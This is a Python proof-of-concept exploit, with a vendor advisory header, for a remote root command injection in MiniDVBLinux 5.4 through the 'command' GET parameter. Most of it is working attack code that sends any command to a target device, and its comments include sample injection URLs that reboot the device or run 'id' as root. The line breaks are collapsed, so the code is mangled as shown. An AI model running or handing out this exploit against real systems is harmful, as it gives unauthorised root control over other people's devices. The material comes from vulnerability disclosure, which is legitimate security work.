MiniDVBLinux 5.4 Remote Root Command Execution

#!/usr/bin/env python3### MiniDVBLinux 5.4 Remote Root Command Execution Vulnerability### Vendor: MiniDVBLinux# Product web page: https://www.minidvblinux.de# Affected version: <=5.4## Summary: MiniDVBLinux(TM) Distribution (MLD). MLD offers a simple# way to convert a standard PC into a Multi Media Centre based on the# Video Disk Recorder (VDR) by Klaus Schmidinger. Features of this# Linux based Digital Video Recorder: Watch TV, Timer controlled# recordings, Time Shift, DVD and MP3 Replay, Setup and configuration# via browser, and a lot more. MLD strives to be as small as possible,# modular, simple. It supports numerous hardware platforms, like classic# desktops in 32/64bit and also various low power ARM systems.## Desc: The application suffers from an OS command execution vulnerability.# This can be exploited to execute arbitrary commands as root, through the# 'command' GET parameter in /tpl/commands.sh.## Tested on: MiniDVBLinux 5.4#            BusyBox v1.25.1#            Architecture: armhf, armhf-rpi2#            GNU/Linux 4.19.127.203 (armv7l)#            VideoDiskRecorder 2.4.6### Vulnerability discovered by Gjoko 'LiquidWorm' Krstic#                             @zeroscience### Advisory ID: ZSL-2022-5718# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5718.php### 24.09.2022#import requestsimport re,sys#test case 002#http://ip:8008/?site=commands&section=system&command=sleep%201;reboot#-#test case 003#http://ip:8008/?site=commands&section=system&command=id#uid=0(root) gid=0(root)if len(sys.argv) < 3:  print('MiniDVBLinux 5.4 Command Execution PoC')  print('Usage: ./mldhd_root1.py [url] [cmd]')  sys.exit(17)else:    url = sys.argv[1]    cmd = sys.argv[2]req = requests.get(url+'/?site=commands&section=system&command='+cmd)req = requests.get(url+'/?site=commands&section=system&command='+cmd)outz = re.search('log\'>(.*?)</pre>',req.text,flags=re.S).group()print(outz.replace('log\'>','').replace('</pre>',''))